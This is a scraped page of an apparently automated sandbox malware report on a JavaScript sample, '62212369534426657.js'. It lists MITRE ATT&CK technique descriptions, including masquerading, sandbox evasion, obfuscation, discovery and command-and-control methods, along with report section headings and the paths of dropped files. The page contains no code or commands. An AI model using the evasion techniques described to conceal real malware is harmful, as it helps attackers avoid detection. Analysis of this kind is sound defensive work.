Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 62212369534426657.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c1b3e469-8ed9-45d2-9278-08655266db9d.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3000

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
62212369534426657.js